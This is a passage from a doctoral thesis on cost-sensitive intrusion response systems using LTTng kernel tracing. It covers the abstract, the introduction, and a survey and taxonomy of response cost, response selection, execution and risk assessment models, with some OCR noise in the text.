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RESUME

Les services réseau sont de plus en plus étendus et de plus en plus complexes a gérer. Il est
extremement important de maintenir la qualité de service pour les utilisateurs, en particulier
le temps de réponse des applications et services critiques en forte demande. D’autre part,
il y a une évolution dans la maniere avec laquelle les attaquants accedent aux systemes et
infectent les ordinateurs. Le déploiement d’un outil de détection d’intrusion (IDS) est donc
essentiel pour surveiller et analyser les systemes en opération. Une composante importante a
associer a un outil de détection d’intrusion est un sous-systeme de calcul de la sévérité des
attaques et de sélection d'une réponse adéquate au bon moment. Ce composant est nommé
systeme d’intervention et de réponse aux intrusions (IRS).

Un IRS doit évaluer avec précision la valeur de la perte que pourrait subir une ressource
compromise ainsi que le cotit des réponses envisagées. Sans cette information, un IRS au-
tomatique risque de sérieusement réduire les performances du réseau, déconnecter a tort les
utilisateurs du réseau, causer un résultat impliquant des cotits élevés pour le rétablissement
des services par les administrateurs, et ainsi devenir une attaque par déni de service de notre
réseau. Dans cette these, nous abordons ces défis et nous proposons un IRS qui tient compte
de ces cotits.

Dans la premiere partie de cette these, nous présentons une évaluation dynamique des
cotits de réponse. L’évaluation des cotits d'intervention est un élément important du systeme
d’intervention et de réponse aux intrusion. Bien que de nombreux IRS automatisés aient
été proposés, la plupart d’entre eux choisissent statiquement les réponses en fonction des
attaques, évitant la nécessité d’'une évaluation dynamique des cotits de réponse. Toutefois,
avec une évaluation dynamique des réponses, on peut atténuer les inconvénients du modele
statique. En outre, il sera alors plus efficace de défendre un systeme contre une attaque car
la réponse sera moins prévisible. Un modele dynamique offre une meilleure réponse choisie
selon la situation actuelle du réseau. Ainsi, I’évaluation des effets positifs et des effets négatifs
des réponses doit étre calculée en ligne, au moment de I'attaque, dans un modele dynamique.
Nous évaluons le cout de réponse en ligne en fonction des liens de dépendance entre les
ressources, du nombre d’utilisateurs en ligne, et du niveau de privilege de chaque utilisateur.

Dans la deuxieme partie, un IRS a justement été proposé qui fonctionne avec une compo-
sante d’évaluation en ligne du risque d’attaque. Une coordination parfaite entre le mécanisme
d’évaluation des risques et le systeme de réponse dans le modele proposé a conduit a un cadre
efficace qui est capable de : (1) tenter de réduire les risques d’intrusion, (2) calculer I'efficacité

des réponses, et (3) décider de l'activation et la désactivation des réponses en fonction de
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facteurs dont plusieurs qui ont rarement été couverts dans les précédents modeles impliquant
ce type de coopération. Pour démontrer I'efficacité et la faisabilité du modele proposé dans les
environnements de production réels, une attaque sophistiquée, exploitant une combinaison
de vulnérabilités afin de compromettre un ordinateur cible, a été mise en oeuvre.

Dans la troisieme partie, nous présentons une méthode en ligne pour calculer le cott de
I’attaque a 'aide d'une combinaison de graphe d’attaque dynamique et de graphe de dépen-
dances de services en mode direct. Dans ce travail, la détection et la génération du graphe
d’attaque sont basées sur les événements d'une trace d’exécution au niveau du noyau, ce
qui est nouveau dans ce travail. En effet, notre groupe (Laboratoire DORSAL) a congu un
traceur a faible impact pour le systeme d’exploitation Linux, appelé LTTng (Linux Trace
Toolkit prochaine génération). Tous les cadres proposés sont basés sur le traceur LT Tng. Le
noyau Linux est instrumenté avec l'infrastructure des points de trace. Ainsi, il peut fournir
beaucoup d’information sur les appels systeme. Aussi, ce mécanisme est disponible en es-
pace utilisateur. Apres avoir recueilli toutes les traces, il faut les synchroniser puisque chaque
noeud sur lequel une trace est générée possede sa propre horloge. Finalement, nous utilisons
un algorithme d’abstraction pour faire face aux énormes fichiers de trace et synthétiser les in-
formations utiles pour un mécanisme de détection d’attaques et de déclenchement de mesures

correctives visant a atténuer 'effet des attaques.
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ABSTRACT

Network services are becoming larger and increasingly complex to manage. It is extremely
important to maintain the users QoS, the response time of applications, and critical services
in high demand. On the other hand, we see impressive changes in the ways in which attackers
gain access to systems and infect computers. Deployment of intrusion detection tools (IDS)
is critical to monitor and analyze running systems. An important component needed to
complement intrusion detection tools is a subsystem to evaluate the severity of each attack
and select a correct response at the right time. This component is called Intrusion Response
System (IRS).

An IRS has to accurately assess the value of the loss incurred by a compromised resource
and have an accurate evaluation of the responses cost. Otherwise, our automated IRS will
reduce network performance, wrongly disconnect users from the network, or result in high
costs for administrators reestablishing services, and become a DoS attack for our network,
which will eventually have to be disabled.

In this thesis, we address this challenges and we propose a cost-sensitive framework for
IRS. In the first part of this dissertation, we present a dynamic response cost evaluation.
Response cost evaluation is a major part of the Intrusion Response System. Although many
automated IRSs have been proposed, most of them use statically evaluated responses, avoid-
ing the need for dynamic evaluation of response cost. However, by designing a dynamic eval-
uation for the responses, we can alleviate the drawbacks of the static model. Furthermore,
it will be more effective at defending a system from an attack as it will be less predictable.
A dynamic model offers the best response based on the current situation of the network.
Thus, the evaluation of the positive effects and negative impacts of the responses must be
computed online, at attack time, in a dynamic model. We evaluate the response cost online
with respect to the resources dependencies and the number of online users.

In the second part, an IRS has been proposed that works with an online risk assessment
component. Perfect coordination between the risk assessment mechanism and the response
system in the proposed model has led to an efficient framework that is able to: (1) manage risk
reduction issues; (2) calculate the response Goodness; and (3) perform response activation
and deactivation based on factors that have rarely been seen in previous models involving
this kind of cooperation. To demonstrate the efficiency and feasibility of using the proposed
model in real production environments, a sophisticated attack exploiting a combination of
vulnerabilities to compromise a target machine was implemented.

In the third part, we present an online method to calculate the attack cost using a
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combination of dynamic attack graph and service dependency graph in live mode. In this
work, detecting and generating the attack graph is based on kernel level events which is new
in this work.

Our group (DORSAL Lab) has designed a low impact tracer in the Linux operating sys-
tem called LTTng (Linux Trace Toolkit next generation). All the proposed frameworks are
based on the LT Tng tracer. The Linux kernel is instrumented with the tracepoint infrastruc-
ture. Thus, it can provide a lot of information about system call entry and exit. Also, this
mechanism is available at user-space level. After gathering all traces, we have to synchronize
them because each trace is generated on a node with its own clock. We use an abstrac-
tion algorithm, to deal with huge trace files, to prepare useful information for the detection

mechanism and finally to trigger corrective measures to mitigate attacks.
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CHAPTER 1

INTRODUCTION

1.1 Introduction

Demand for complex and transparent distributed networked computing is increasing.
Meanwhile, cyber-attacks and malicious activities are common problems in distributed sys-
tems, and they are rapidly becoming a major threat to the security of organizations. It is
therefore crucial to have appropriate detection algorithms to monitor and analyze running
systems. Only then can we hope to identify malicious activities and program anomalies [1].
An Intrusion Response System (IRS), by contrast, continuously monitors and protects system
health, based on Intrusion Detection System (IDS) alerts. Malicious or unauthorized activities
can be handled effectively by applying appropriate countermeasures to prevent problems from
worsening and return the system to a healthy mode. Unfortunately, IRSs receive considerably
less attention than IDSs [2].

Many IDSs are based on signature-based detection systems and cannot properly detect
multi-step attacks. We are proposing a framework based on the Linux Trace Toolkit next
generation (LTTng) tracer [3]. Kernel tracing provides an effective way of understanding
system behavior and debugging problems, both in the kernel and in user-space applications.
This will allow detection of multi-step attacks since the information is more precise. Tracing
events that occur in application code can further help by providing access to application
activity unknown to the kernel. LTTng now provides a way of tracing simultaneously the
kernel as well as the applications of several multi-core nodes in a distributed system.

Once detailed execution traces for distributed multi-core systems are available, the Remote
System Explorer (RSE) agent collects traces from multiple systems [4]. After collecting all
traces, we need a powerful tool for abstracting low-level events into high-level events, to
measure different usage and performance metrics, to detect known fault patterns, and to look
for correlation or deviation from known good systems. Finally, after monitoring the health of
a large system continuously, our tool has to return the system to the desired healthy mode.

System health can be defined as the difficulty to be compromised. A compromised system
is one that is not behaving in the desired way, whether insecurely or irregularly. We will
monitor system health, and trigger additional information collection through tracing if a
problem in some area is suspected, then trigger corrective measures if a serious problem

is found. Examples of corrective measures include limiting the resources consumed by some



users to protect the quality of service for critical functions, adapting the firewall configuration

when a system is under cyber-attack, or disconnecting a redundant system suspected of being

compromised.

The main contributions of this work can be summarized as follows :

Presenting a framework for predicting sophisticated multi-step attacks and preventing
them by running appropriate sets of responses, using Hidden Markov Models for redu-
cing training time and memory usage. In contrast to previous models that use an Alert
Filtering approach to correlate alerts, we have used a novel approach named Alert Se-
verity Modulating to predict the most interesting steps of multi-step attacks, presented
in [41] (Chapter [3)).

Proposing a cost-sensitive approach using dynamically evaluated response cost, regard
to the dependency between resources on a host or different hosts, the number of online
users, and the speed of applying responses, presented in [I11] (Chapter {4)).
Introducing a novel response execution, called "retroactive-burst”. The term retroactive
refers to the fact that we have a mechanism for measuring the effectiveness of the applied
response ; however, we do not apply a set of responses in burst mode, so as to prevent
the application of high impact to the network. The term burst refers to the application
of two responses to repel an attack, when the total goodness of the responses already
applied was not sufficient to do so, presented in [112] (Chapter [5)).

Presenting a new mechanism to calculate response goodness, illustrating response his-
tory in terms of success or failure to mitigate attack, presented in [112] (Chapter [5)).
Utilizing the advantages of Attack Graph-based and Service Dependency Graph-based
approaches to calculate attack cost, presented in [113] (Chapter [6).

Detecting and generating the attack graph based on kernel level events which is new in
this work, presented in [113].

Considering backward and forward impact propagation in service dependency graphs

to calculate the real impact cost on the target service, presented in [113] (Chapter [6).

The main body of this thesis is presented as four journal publications (research papers)
which are included as Chapters [3| [ B and [6} The first paper has been published and the

three others have been submitted for publication. The organization of the chapters is as

follows :

Chapter [2| presents a taxonomy of intrusion response systems which comes from our

journal publication (survey paper) [5]. This paper has been published. It classifies a number

of research papers published during the past decade, providing us with many valuable insights

into the field of network security. In recent years, we have seen impressive changes in how



attackers gain access to systems and infect computers. We discuss the key features of IRS that
are crucial for defending a system from attacks. Choosing the right security measures and
responses is an important and challenging part of designing an IRS. If we fail to do so, our
automated response systems will reduce network performance and wrongly disconnect users
from a network. We address this challenge here, and introduce the concept of "response cost”,
in an attempt to meet users needs in terms of quality of service (QoS) and the interdependency
of critical processes. This taxonomy will open up interesting areas for future research in the
growing field of intrusion response systems.

In Chapter [3 a framework for predicting sophisticated multi-step attacks is presented.
Hidden Markov Models (HMM) are used to extract the interactions between attackers and
networks. Since alerts correlation plays a critical role in prediction, a modulated alert severity
through correlation concept is used instead of just individual alerts and their severity.

In Chapter , a cost-sensitive IRS called ORCEF (Online Response Cost Evaluation
Framework for IRS) is presented. It proposes a framework to evaluate the response cost
online with respect to the resources dependencies and the number of online users. In this
chapter, we present a practical model with relevant factors for response cost evaluation. The
proposed model is a platform that leads us to account for the user’s needs in terms of quality
of services (QoS) and the dependencies on critical processes.

The main focus in ORCEF framework is introducing a model to calculate dynamic res-
ponse cost based on accurate parameters. The final step in this framework is selecting the
best response based on attack Damage Cost (DC), Confidence Level (CL) of alert, and re-
source value. The main drawback in the proposed model is defining damage cost statically
based on attack type. To select the best response and attend to user’s needs in terms of QoS,
it is critical to have a method to calculate the attack cost dynamically. The framework has
been improved and the next chapter details the more advanced functionality.

Chapter [5] presents an approach for automated intrusion response systems to assess the
value of the loss that could be incurred by a compromised resource. It is called ARITO
(Cyber-Attack Response System using Accurate Risk Impact Tolerance). A risk assessment
component of the approach measures the risk impact, and is tightly integrated with our
response system component. When the total risk impact exceeds a certain threshold, the
response selection mechanism applies one or more responses. A multilevel response selec-
tion mechanism is proposed to gauge the intrusion damage (attack progress) relative to the
response impact. This model proposes a feedback mechanism which measures the response
goodness and helps indicate the new risk level following application of the response(s).

As mentioned earlier, the ARITO framework improves ORCEF by adding online risk

assessment to calculate damage cost dynamically. In the ARITO framework, the risk value is



calculated independently, while the impact of the attack on a service is propagated to other
services based on the type of dependency. A framework called ONIRA (Online intrusion risk
assessment of distributed traces using dynamic attack graph), presented in Chapter |§|, solved
this problem by introducing a new service dependency graph based on three concepts : direct
impact, forward impact, and backward impact.

Another contribution in the ONIRA framework is a combination of Attack Graph and
Service Dependency Graph approaches to calculate the attack cost and accurately react to
attacks. When the attack progress reaches a dangerous state in the attack graph, we calculate
the real impact of the attack using the attack graph and service dependency graph. The
LAMBDA [6] language has been extended with two features : intruder knowledge level and
effect on CIA.

In Chapter [7] the general objectives of the thesis are briefly discussed and finally, in

Chapter [8 the results of the work are summarized as conclusions.



CHAPTER 2

LITERATURE REVIEW

Survey paper : Intrusion Response Systems : Survey and Taxonomy
ALIREZA SHAMELI-SENDI, NASER EZZATI-JIVAN, MASOUME JABBARIFAR, AND MICHEL
DAGENAIS

Our use of software systems, information systems, distributed applications, etc. is conti-
nuously growing in size and complexity [7]. Today, cyber attacks and malicious activities are
common problems in distributed systems, and they are rapidly becoming a major threat to
the security of organizations. It is therefore crucial to have appropriate Intrusion Detection
Systems (IDS) in place to monitor, trace, and analyze system execution. Only then can we
hope to identify performance bottlenecks, malicious activities, programming functional, and
other performance problems [I]. Intrusion Response Systems (IRS), by contrast, continuously
monitor system health based on IDS alerts, so that malicious or unauthorized activities can
be handled effectively by applying appropriate countermeasures to prevent problems from
worsening and return the system to a healthy mode. Unfortunately, IRS receive considerably
less attention than IDS [2].

Usually, the attacker exploits security goals : the confidentiality and integrity of data,
and the availability of service (referred to as CIA), by targeting vulnerabilities in the form
of flaws or weak points in the security procedures, design, or implementation of the system
[8, @]. The main issue in choosing a security measure is to correctly identify the security
problem. For example, we do not want to isolate a whole server from a network on which
many services are installed, nor do we want to kill processes that are using a considerable
amount of CPU resources unless we are sure they are being attacked. Thus, implementing
an appropriate algorithm in IDS and IRS, and choosing the right set of responses, must take
into account whether or not the network is being attacked with a very high positive value.

It is essential that we counter attacks with new features, a complete list of responses,
accurate evaluation of those responses in a network model, and an understanding of the cost
of each response in every network element. If we fail to do so, our automated IRS will need-
lessly reduce network/host performance, wrongly disconnect users from the network/host,
and eventually result in a DoS attack on our network. We must, therefore, establish a tra-
deoff between slowing down system performance and maintaining maximum security [10].

In this chapter, we propose a taxonomy of IRS and present a review of existing IRS. Our



aim in the paper is to identify the weaknesses of IRS and propose guidelines for improve them.
The rest of this chapter is organized as follows : in Section [2.1], we propose our taxonomy of
IRS and describe their main elements. A review of recent existing IRS is presented in Section
[2.2] Finally, in Section [2.3] we present our conclusions.

2.1 A taxonomy of intrusion response systems

Depending on their level or degree of automation, IRS can be categorized as :

— Notification systems : These systems mainly generate alerts when an attack is detec-
ted. An alert can contain information about the attack, such as attack description, time
of attack, source IP, user account, etc. The alerts are then used by the administrator to
select the reactive measures to apply, if any. This approach is not designed to prevent
attacks or return system to a safe mode. The major challenge in this approach is the
delay between the intrusion and the human response.

— Manual response systems : In these systems, there are some preconfigured sets of
responses based on the type of attack. A preconfigured set of actions is applied by the
administrator when a problem arises. This approach is more highly automated than
the notification system approach.

— Automated response systems : These systems are designed to be fully automated, so
that no human intervention is required, unlike the two methods described above, where
there is a delay between intrusion detection and response. One of the major problems
with this approach is the possibility that an inappropriate response will be executed
when a problem arises. Another challenge with executing an automated response is to
ensure that the response is adequate to neutralize the attack. The characteristics of this

approach are depicted in Figure [2.1] and are the following :
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Figure 2.1 Taxonomy of Intrusion Response Systems.



2.1.1 1IRS input

IDS are tools that monitor systems for signs of malicious activities. They are closely related
to automated fault identification tools. We use network-based IDS (NIDS) to monitor the
network and host-based IDS (HIDS) to monitor the health of a system locally [111, 12} 13, 14,
15].

IDS are divided into two categories : anomaly-based and signature-based. In anomaly-
based techniques, a two step process is employed. In the first step, called the training phase,
a classifier is extracted using a popular algorithm, such as a Decision Tree, a Bayesian Net-
work, a Neural Network, etc. [16, [I'7, [18]. The second step, the testing phase, concentrates
on classifier accuracy. If the accuracy meets our threshold, it can be used to detect anoma-
lies. Anomaly-based detection is able to detect unknown attack patterns and does not need
predefined signatures. However, it is difficult to define normal behavior, and the malicious
activity may look like a normal usage pattern. In signature-based techniques (also known as
misuse detection) [19], we compare captured data with well-defined attack patterns. Pattern
matching makes this technique deterministic, which means that it can be customized for
every system we want to protect, although it is difficult to find the right balance between
precision, which could lead to false negatives, and genericity, which could lead to false posi-
tives [20, 21]. Moreover, signature-based techniques are stateless. Once an attack matches a
signature, an alert is issued and the detection component does not record it as a state change.
One solution to the limitation of detection based only on stateless signatures is to use a Finite
State Machine (FSM) to track the evolution of an attack [I]. That way, while an attack is in
progress, the state changes and we can trigger appropriate responses based on a confidence
level threshold, which would result in a lower false positive rate. The detection component has
all the detailed information about the malicious activity, such as severity, confidence level,
and the type of resource targeted. The output of the detection component is based on the
Intrusion Detection Message Exchange Format (IDMEF) [22]. This is a standard that can be
used to report alerts about attacks or malicious behaviors. Briefly, each alert embodies the
following :

— Analyzer Identification : the analyzer that originated the alert.

— Create Time : the time at which the alert was created.

Detect Time : the time at which the event(s) leading up to the alert occurred.

Analyzer Time : the current time on the analyzer.

— Source : the source of the event leading up to the alert, including Node, User, Process,
and Service.

— Target : the intended victim of the event leading up to the alert, including Node, User,

Process, Service, and File.



— Classification : name and description of the alert.
— Assessment : consisting of three fields (Impact, Action, and Confidence) :

— Impact : This field shows the analyzers assessment of the events impact on the target.
The Impact field has three attributes : Severity, Completion, and Type. The severity
attribute value can be high, medium, or low, and is very important information for
the prediction component, as explained in the prediction section. The completion
attribute indicates whether or not the attack was successful, and so its value can be
failed or successful. If we want to detect the progress of the attack early on, an FSM
can send an alert for each state reached. Thus, the completion attribute of all the
alerts generated while the attack is in progress will be recorded as failed. Only the
final alert of each FSM execution will earn the successful completion value. The type
attribute indicates the nature of the attempt related to the alarm.

— Action : This field is filled in if the IDS detects an attack and reacts to it. Otherwise,
it will be left blank.

— Confidence : This field reflects the validity of the analyzer estimation. Its value can
be low, medium, or high. However, different values can be assigned to it. For example,
in the FSM mechanism, a weight can be associated with each state, the sum of all
the weights being 100. Confidence in this case means confidence level. The confidence
level related to each alert is equal to the sum of the weights of all the states previously

seel.

2.1.2 Response cost model

Response cost evaluation is a major part of the IRS. Although many automated IRS
have been proposed, most of them use statically evaluated responses, avoiding the need
for dynamic evaluation. However, the static model has its own drawbacks, which can be
alleviated by designing a dynamic evaluation model for the responses. Dynamic evaluation
will also more effectively protect a system from attack, as threats will be more predictable.
Verifying the effect of a response in both dynamic mode and static mode is a challenge,
as accurate parameters are required to evaluate that response. If, for example, we have an
Apache process under the control of an attacker, this process is now a gateway for the attacker
to access our network. The accepted countermeasure would be to kill this hijacked process
that has become potentially dangerous. When we apply this response, we will increase our
data confidentiality and integrity (C and I of CIA) if the process was doing some damage on
our system. But, the negative impact is that we lose Apache availability (A of CIA), since
our Web server is now dead and our website is down. Let us imagine another scenario, where

we have a process on a server consuming a considerable amount of CPU resources that is



doing nothing but slowing down our machine (a kind of CPU DoS). This time, killing the
process will improve service availability (system performance), but will not change anything
in terms of data confidentiality and integrity. We now have two very different results for the
same response. Also, some of the responses effects depend on the network infrastructure.
For example, applying a response inside the external DMZ is probably very different from
doing so inside the LAN or "secure zone” in terms of CIA. Responses cannot be evaluated
without considering the attacks themselves, which are generally divided into the following

four categories [23), 24] :

1. Denial of service (DoS) : The attacker tries to make resources unavailable to their
intended users, or consume resources such as bandwidth, disk space, or processor time.
The attacker is not looking to obtain root access, and so there is not much permanent

damage.

2. User to root (U2R) : An individual user tries to obtain root privileges illegally by
exploiting system vulnerabilities. The attacker first gains local access on the target
machine, and then exploits system vulnerabilities to perform the transition from user
to root level. After acquiring root privileges, the attacker can install backdoor entries

for future exploitation and change system files to collect information [25].

3. Remote to local (R2L) : The attacker tries to gain unauthorized access to a computer

from a remote machine by exploiting system vulnerabilities.

4. Probe : The attacker scans a network to gather information and detect possible vulne-
rabilities. This type of attack is very useful, in that it can provide information for the
first step of a multi-step attack. Examples are using automated tools such as ipsweep,

nmap, portsweep, etc.

In the first category, where the attacker is slowing down our system, we are looking for
a response that can increase service availability (or performance). In the second and third
categories, since our system is under the control of an attacker, we are looking for a response
that can increase data confidentiality and integrity. In the fourth category, attackers are
attempting to gather information from the network and about possible vulnerabilities. Thus,
responses that improve data confidentiality and service availability are called for in this case.
A dynamic response model offers the best response based on the current situation of the
network, and so the positive effects and negative impacts of the responses must be evaluated
online at the time of the attack. Evaluating the cost of the response in online mode can be
based on resource interdependencies, the number of online users, the users privilege level, etc.
There are three types of response cost model :

— Static cost model : The static response cost is obtained by assigning a static value
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based on expert opinion. So, in this approach, a static value is considered for each
response (RC; = CONSTANT).

Static evaluated cost model : In this approach, a statically evaluated cost, obtained
by an evaluation mechanism, is associated with each response (RCy. = f(z)). The
response cost in the majority of existing models is statically evaluated. A common
solution is to evaluate the positive effects of the responses based on their consequences
for the confidentiality, integrity, availability, and performance metrics. To evaluate the
negative impacts, we can consider the consequences for the other resources, in terms of
availability and performance [20], 27]. For example, after running a response that blocks
a specific subnet, a Web server under attack is no longer at risk, but the availability of
the service has decreased. After evaluating the positive effect and negative impact of
each response, we then calculate the response cost. One solution is as Eq. illustrates

[28], obviously the higher RC, the better the response in ordering list :

Positivees fect

RC,, = (2.1)

Negativempact
Dynamic evaluated cost model : The dynamic evaluated cost is based on the net-
work situation (RCy.). We can evaluate the response cost online based on the dependen-
cies between resources and online users. For example, the consequences of terminating
a dangerous process varies with the number of interdependencies of other resources on
the dangerous process and with the number of online users. If the cost of terminating
the process is high, maybe another response would be better. Evaluating the response
cost respect to the resource dependencies, the number of online users, and the user pri-
vilege level leads us to have an accurate cost-sensitive response system. The following
example will explain why the response effect has to be calculated based on resource
dependencies. Let us imagine two scenarios : 1) all services (web and mail) are using
the MySQL shared user application (db-user) Figure [2.2a]; and 2) all services (web and
mail) are using a separate user application (web-user and mail-user) Figure . If
the web services in scenario 1 are attacked and we remove db-user when the attack is
detected, it is obvious that web and mail processes cannot continue to run . In contrast,
if the web services in scenario 2 are attacked and we remove web-user, the mail process
and other web service processes will be unaffected. Thus, in the first scenario, where
all the services are using the same MySQL user, selecting other locations (based on
the attack path such as a firewall point or web server point) or other responses, are
the better options. Thus, resource dependency model improves IRS in terms of their
ability to apply appropriate responses, while meeting users needs in terms of QoS and

the interdependencies of critical processes. The majority of the proposed IRS use Static
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Figure 2.2 Two scenarios of in which the application user is removed

Cost or Static Evaluated Cost models, as Table 2.1 in Section [2.2] illustrates.

2.1.3 Adjustment ability

There are two types of adjustment model : 1) non adaptive; and 2) adaptive. In the
non adaptive model, the order of the responses remains the same during the life of the IRS
software. In fact, there is no mechanism for tracing the behaviors of the deployed responses.
In the adaptive model, the system has the ability to automatically and appropriately adjust
the order of the responses based on response history [2]. We can define a Goodness (G) metric
for each response. Goodness is a dynamic parameter that represents the history of success
(S) and failure (F) of each response for a specific type of host [29]. This parameter guarantees
that our model will be adaptive and helps the IRS to prepare the best set of responses over
time. The following procedure can be used to convert a non adaptive model to an adaptive
one [29] :

G)=S—F
Rejfectiveness(to) = (RCs|RCs| RCqe) x G(t) (2.2)
R fectiveness(t) = Reffectiveness(t — 1) X G

One way to measure the success or failure of a response, or a series of responses, is to

use the result of the online risk assessment component. We discuss this in the "Response

execution” section. Now, G can be calculated as proposed in [29] : if the selected response
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succeeds in neutralizing the attack, its success factor is increased by one, and if it fails, that
factor is decreased by one. The important point to bear in mind is that the most recent
results must be considered more valuable than earlier ones. Let us imagine an example where
the results of S and F for a response are 10 and 3 respectively, the most recent result being
F= 3. Unfortunately, although G= 7 indicates that this response is a good one, and it was
appropriate for mitigating the attack, over time and with the occurrence of new attacks, this

response is not sufficiently strong to stage a counter attack.

2.1.4 Response selection
There are three response selection models :

1. Static mapping : An alert is mapped to a predefined response. This model is easy to

build, but its major weakness is that the response measures are predictable.

2. Dynamic mapping : The responses of this model are based on multiple factors, such
as system state, attack metrics (frequency, severity, confidence, etc.), and network policy
[30]. In other words, responses to an attack may differ, depending on the targeted host,
for instance. One drawback of this model is that it does not learn anything from attack

to attack, so the intelligence level remains the same until the next upgrade [31], 32].

3. Cost-sensitive mapping : This is an interesting technique that attempts to attune
intrusion damage and response cost [28, [33]. Some cost-sensitive approaches have been
proposed that use an offline risk assessment component, which is calculated by eva-
luating all the resources in advance. The value of each resource is static. In contrast,
online risk assessment component can help us to accurately measure intrusion damage.
The major challenge with the cost-sensitive model is the online risk assessment and the

need to update the cost factor (risk index) over time.

2.1.5 Response execution

There are two types of response execution :

1. Burst : In this mode, there is no mechanism to measure the risk index of the host /network
once the response has been applied. Its principal weakness is the performance cost, as
all the responses are applied when a subset may be enough to neutralize the attack.

The majority of the proposed IRS use burst mode to execute responses.

2. Retroactive : there is a feedback mechanism which can measure the response effect
based on the result of the most recently applied response, the idea being to make a

decision before applying the next in a series of responses. There are some challenges
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that must be addressed if this mode is to be used in the adaptive approaches; for
example, how to measure the success of the most recently applied response, and how to
handle multiple occurrences of malicious activities [34]. As shown in Figure [2.1] we have
to measure the risk index after running each response. The risk assessment component
can help us do this, but the difficulty is that the risk assessment must be conducted
online. Retroactive approach is firstly proposed in [28]. We have named it retroactive.
As mentioned, the idea is to have a decision-making before applying the next response
in a set of responses. There are a number of ways to implement the retroactive approach,

among them the following :

— Use a response selection window : the first idea that firstly proposed in [28] is using
response selection window. Every response has a static risk threshold associated with
it. The permission to run each response corresponds to the current risk index of the
network. When the risk index is higher than the static threshold of the response, the
next response is allowed to run. With a response selection window, the most effective
responses are selected to repel intrusions

— Run responses independently : This is a simple idea, which involves measuring the
risk index of one response, to make a decision about the next one

— Group responses : This is a good idea if measuring the risk index of a single response
does not provide enough information to make the decision about running the next
response and cannot be applied in a production environment. It involves defining a
round-based response mechanism. Figure [2.3] illustrates six responses to a specific
malicious activity which are ready in the pending queue before the start of the first
round. Whether or not to run the next round of responses is based on the risk index
of the network. Once a round of responses has been run, a new risk index is measured
by the Online Risk Assessment component after a specific delay. As shown in Figure
2.3 every response has a Response Effectiveness, which defines how the selected
response is ordered in the pending queue. Figure shows two possible scenarios
for consideration after the first round of responses has been launched. In the first
scenario, the risk index of the network decreases, so the next round is not required.
With this knowledge, the network can be prevented from being overly impacted.
In contrast, in the second scenario, the risk index shows that malicious activity is
continuing, in spite of the application of the first round of responses. In this case,
the second round of responses has to be applied. There are some challenges to be
overcome here. The first is to determine how many responses in a round is considered
enough to neutralize an attack. Is the number sufficient to avoid having to run the

next round and overly impact the network ? Is the number sufficient to accurately
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measure the risk index? Clearly, it would be helpful to define some attributes for
the responses, in order to analyze them better and order them more effectively. The
responses with fewer characteristics could be placed in a group and applied as a
group. Unfortunately, there is no strong attack dataset available for testing the ideas
of IRS researchers [35]. This problem is common to all security researchers. Such
a dataset would enable us to determine whether or not one round of responses is
enough or if the number of responses in a round is sufficient to neutralize an attack.
This was also a challenge in [2§], as the authors could not establish the strength of

their proposed model.

2.1.6 Prediction and risk assessment

As we know, an IDS or individual detection components usually generate a large number
of alerts, and so the output of an IDS is stream data, which is temporally ordered, fast
changing, potentially infinite, and massive. There is not enough time to store these data and
rescan them all as static data [I8], [36] 37]. Thus, if we connect the detection component to
the intrusion response component. After a few hours, the impact on our network is huge,
and results in a DoS. The goal of designing prediction and risk assessment components is
to help response systems to be more intelligent in terms of preventing the problem from
growing and in returning the system to a healthy mode. Since the output of an IDS is stream
data, prediction and risk assessment components must cope with these data, and we have to
find appropriate algorithms to deal with them. These algorithms are used in IRSs, and their

components are the following :

Prediction

In the prediction view, we have two types of IRS : 1) Reactive ; and 2) Proactive [2, [3§]. In
the reactive approach, all responses are delayed until the intrusion is detected. The majority
of IRS use this approach, although this type of IRS is not useful for high security. For example,

suppose the attacker has been successful in accessing a database and has illegally read critical
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Figure 2.3 Ordered pending responses before the start of the first round.
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Figure 2.4 Two possible outcomes for decision-making after the first round of responses has
been run.

information. Then, the IDS sends an alarm about a malicious activity. In this case, a reactive
response is not useful, because the critical information has already been disclosed. In general,
the disadvantages of a reactive response are the following [13] :

— It is applied when an incident is detected, so the system remains in the unhealthy state
it was in before the detection of the malicious activity until the reactive response is
applied.

— It is sometimes difficult to return the system to the healthy state.

— The attacker has the benefit of time between the start of the malicious activity and the
application of the reactive response.

— It takes more energy to return the system to the healthy state than to maintain it in
that state.

— Since it is applied after an incident is detected, the system is exposed to greater risk of
damage.

In contrast, the proactive approach attempts to control and prevent a malicious activity
before it happens, and plays a major role in defending hosts and networks. A number of
different schemes that predict multi-step attacks have been proposed. Some researchers have
inserted the prediction step in the detection component. For example, the authors of [39)
believed that, since existing solutions are only able to detect intrusions when they occur,
either partially or fully, it is difficult to block attacks in real time. So they proposed a
prediction function based on Dynamic Bayesian Networks, with a view to predicting the
goals of intruders. Other researchers have worked on prediction algorithms based on detection
output. In this method, detection components are distributed across a network and alerts
are sent to the prediction component. Of course, there may be aggregation and correlation
components between the detection and prediction components to reduce the number of false
positives. Yu and Frincke [40] and Shameli-Sendi et al. [41] proposed the Hidden Colored
Petri-Net (HCPN) and Alert Severity Modulating respectively to predict the intruders next



16

goal. While most researchers use alert correlation to differentiate true alerts from alerts
generated by detection components, called the Alert Filtering approach, the authors of [40]
and [41] have taken a different approach. They maintain that, while multi-step attack actions
are unknown, they may be partially detected and reported as alerts. They also maintain that
all alerts can be useful in prediction, as the task of alert correlation is not only to find good

alerts or to remove alerts.

Risk assessment

Again, most IDS generate a huge number of alerts over time. A large number of these alerts
are duplicates and false positives [I5 [42]. Many schemes have been proposed to overcome
these weaknesses, some of which use an alert aggregation mechanism to reduce the number
of alerts [15]. Others use an alert correlation mechanism to extract attack scenarios [43] [44],
while a third group is attempting to assess the threat of intrusion [24], 28, 45 [46]. Also,
alert information has only the severity field (IDMEF format), which does not allow for a
comprehensive description of the risk assessment or the level of threat. Risk assessment is
the process of identifying and characterizing risk. In other words, risk assessment helps the
IRS component determine the probability that a detected anomaly is a true problem and can
potentially successfully compromise its target [34].

Thus, there are two types of risk assessment :

1. Static : many researchers use offline risk assessment in IRS, assigning a static value
to every resource in the network. Offline risk assessment has been reviewed in the
Information Security Management System (ISMS) standards that specify guidelines
and a general framework for risk assessment. It is described in many existing standards,
such as NIST and ISO 27001 [47, 48]. Although they cannot satisfy the requirements of
the online risk assessment environment, these standards are nevertheless fundamental
and useful [§].

2. Dynamic : online risk assessment is a real time process of evaluation and provides a
risk index related to the host or network [49]. Online risk assessment is very important
in terms of minimizing the performance cost incurred. It does this by applying a subset
of all the available sets of responses when that may be enough to neutralize the attack.
In the second model, we can dynamically evaluate attack cost by propagating the
impact of confidentiality, integrity, and availability through service dependencies model
